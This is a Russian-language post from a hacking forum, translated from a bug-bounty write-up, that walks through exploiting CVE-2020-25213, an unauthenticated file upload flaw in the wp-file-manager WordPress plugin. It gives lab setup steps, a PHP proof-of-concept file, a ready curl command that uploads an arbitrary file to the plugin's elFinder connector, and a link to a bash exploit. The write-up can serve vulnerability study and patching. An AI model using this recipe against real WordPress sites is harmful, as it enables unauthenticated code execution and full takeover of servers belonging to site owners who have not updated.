• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатируем CVE-2020–25213: wp-file-manager wordpress plugin (<6.9) for unauthenticated arbitrary file upload

WDBlue

ripper
КИДАЛА
Регистрация
06.10.2020
Сообщения
61
Реакции
32
Пожалуйста, обратите внимание, что пользователь заблокирован
Я не обнаружил эту уязвимость и не взял авторство этого CVE. Я создал эксплойт после анализа описания, доступного в различных блогах, таких как wordfence, seravo, чтобы дать читателям понять, как создать PoC, просто проанализировав описание уязвимости.

Я не несу ответственности за любой ущерб, нанесенный организации, данным эксплойтом, и я бы посоветовал читателям не использовать данную уязвимость без письменного согласия организации, так как она может открыть организацию для атак другими хакерами.

Об уязвимости :
CVE-2020–25213: The File Manager (wp-file-manager) плагин версии <6.9 для Wordpress позволяет удаленным злоумышленникам загружать и выполнять произвольный PHP-код, так как он переименовывает небезопасный пример файла-коннектора elFinder в файл с расширением .php. Это, например, позволяет злоумышленникам выполнить команду elFinder upload (mkfile или put) для записи PHP-кода в каталог wp content/plugins/wp-file-manager/lib/files/. Это было использовано в дикой среде в августе и сентябре 2020 года.

CVSS: 9.8

Что случилось?

В последнюю неделю августа эта уязвимость начала эксплуатироваться как зиродей(0-day). 1 сентября разработчики плагина исправили уязвимость и выпустили версию 6.9. После выхода патча различные организации, такие как wordfence, seravo и некоторые другие, опубликовали блоги, описывающие детали 0-day wp-file-manager и то, как его использовали в дикой природе.

Настройка среды

1. Установите wordpress на виртуальную машину (или локальный хост). Вы можете обратиться к этому сайту для установки wordpress на ubuntu.

2. Скачать и установить уязвимый плагин wp-file-manager (версия 6.0) отсюда.

3. Установить elFinder [опционально]

Создаем эксплойт

/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php файл библиотеки elFinder, используемый плагином wp-file-manager, отвечал за загрузку произвольного файла с любым расширением (без аутентификации).

Чтобы понять, как elFinder загружает файл, давайте сначала скачаем и настроим elFinder на локалхосте.

Код:
git clone https://github.com/Studio-42/elFinder.git
mv elFinder/php/connector.minimal.php-dist elFinder/php/connector.minimal.php
chown -R www-data:www-data elFinder/

При посещении /elFinder.html отображается меню файлового менеджера с возможностью загрузки файлов:

1603960883300.png


Теперь мы будем загружать любые файлы изображений и отслеживать запросы в burp suite.

В burp suite на /elFinder/php/connector.minimal.php посылается POST-запрос, в ответ на который отображается место загрузки файла.

1603960992700.png


Теперь мы заменим /elFinder/php/connector.minimal.php на /wordpress/wp content/plugins/wp-file-manager/lib/php/connector.minimal.php [расположение плагина на нашем сайте wordpress] и посмотрим, сможем ли мы загрузить файл или нет?

Мы можем загрузить файл, отлично! Это значит, что теперь мы можем загрузить любой файл с любым произвольным расширением.

Чтобы загрузить php-файл, в вышеуказанном запросе (после изменения URL) нам нужно изменить имя файла на poc_PHPinfo.php и его содержимое на

Код:
<?php
echo “POC By Time4ster”;
phpinfo();
?>

И да! PHP-файл был загружен, и в ответ также показывается URL-адрес, по которому файл был загружен.

1603961120800.png


Загруженный файл можно найти по адресу: http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/files/poc_PHPinfo.php

1603961181900.png


Эквивалентный curl payload:
Код:
curl -ks — max-time 5 — user-agent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36” -F “reqid=17457a1fe6959” -F “cmd=upload” -F “target=l1_Lw” -F “mtime[]=1576045135” -F “upload[]=@//root/poc_PHPinfo.php” “http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

Здесь файл /root/poc_PHPinfo.php может быть заменен любым произвольным файлом, который мы хотим загрузить на сервер.

ЗАМЕЧАНИЕ: Иногда php-файлы блокируются брандмауэром, поэтому для подтверждения уязвимости лучше сначала загрузить txt-файл.

Также обратите внимание, что загруженный файл может быть доступен любому неавторизованному пользователю (и выполняется в случае php), поэтому будьте осторожны при загрузке файлов.

Bash Exploit:
https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213

Влияние

Используя эту уязвимость, злоумышленник может загружать php-файлы и выполнять их на целевом компьютере без какой-либо аутентификации, приводящей к полной компрометации машины. (CVSS: 9.8).

wp-file-manager имеет более 600,000 активных инсталляций, из которых только 53.3% пользователей обновились до последней версии плагина 6.9 на момент написания этой статьи.

Источник: https://medium.com/bugbountywriteup...ile-manager-wordpress-plugin-6-9-3f79241f0cd8
Автор перевода: WDBlue
Специально для xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх